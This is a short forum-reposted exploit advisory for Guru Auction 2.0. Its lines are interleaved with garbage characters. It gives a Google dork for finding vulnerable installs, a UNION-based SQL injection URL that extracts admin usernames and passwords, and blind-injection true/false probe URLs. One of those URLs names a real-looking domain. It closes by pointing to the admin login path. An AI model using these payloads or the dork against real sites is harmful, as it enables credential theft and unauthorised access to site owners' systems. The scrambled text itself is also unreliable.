Guru Auction 2.0 Multiple SQL Injection Vulnerabilities
; F! A+ Y# J+ W
; v0 S+ X- v4 i/ `* q! n作者 : v3n0m
# [3 L/ ]# u* w B6 j应用 : Guru Auction 2.0
% P2 X* n- y/ q: @) d3 g" o3 P2 iPrice : $49$ A# {1 O: R* D) l
Vendor : http://www.guruscript.com/
! x5 O- }7 S; U4 R8 b4 AGoogle Dork : inurl:subcat.php?cate_id=* x( s$ M2 O5 l0 m
% U% j5 ?4 P9 SSQLi p0c:$ z4 w$ z8 M4 o7 Y) V( B+ N3 v
~~~~~~~~~~0 A& D5 x- c- |& u: W+ u9 t
http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--2 B& C. w/ B" }: f/ f7 `* \
0 Y' l) Q. x- I
" U( D+ {" P, W盲注 p0c:9 ?9 o1 ~4 z2 r' `; H7 B6 H
~~~~~~~~~~8 g2 d" x' P; M3 `) n+ |' ^
http://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true' T* I1 V; z2 |
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false2 G& f; f, a' `; R, B$ X
) E: Q7 r" i1 `, d$ {+ Z; i y
管理登录入口:
% H/ V! H X w3 o. M0 n4 {~~~~~~~~~~, r! u! P) Z3 O8 L- f5 B
http://domain.tld/[path]/admin/9 l+ \% D' K z. r# E, F
|
发表于 2012-12-31 09:24:05
收藏
支持
反对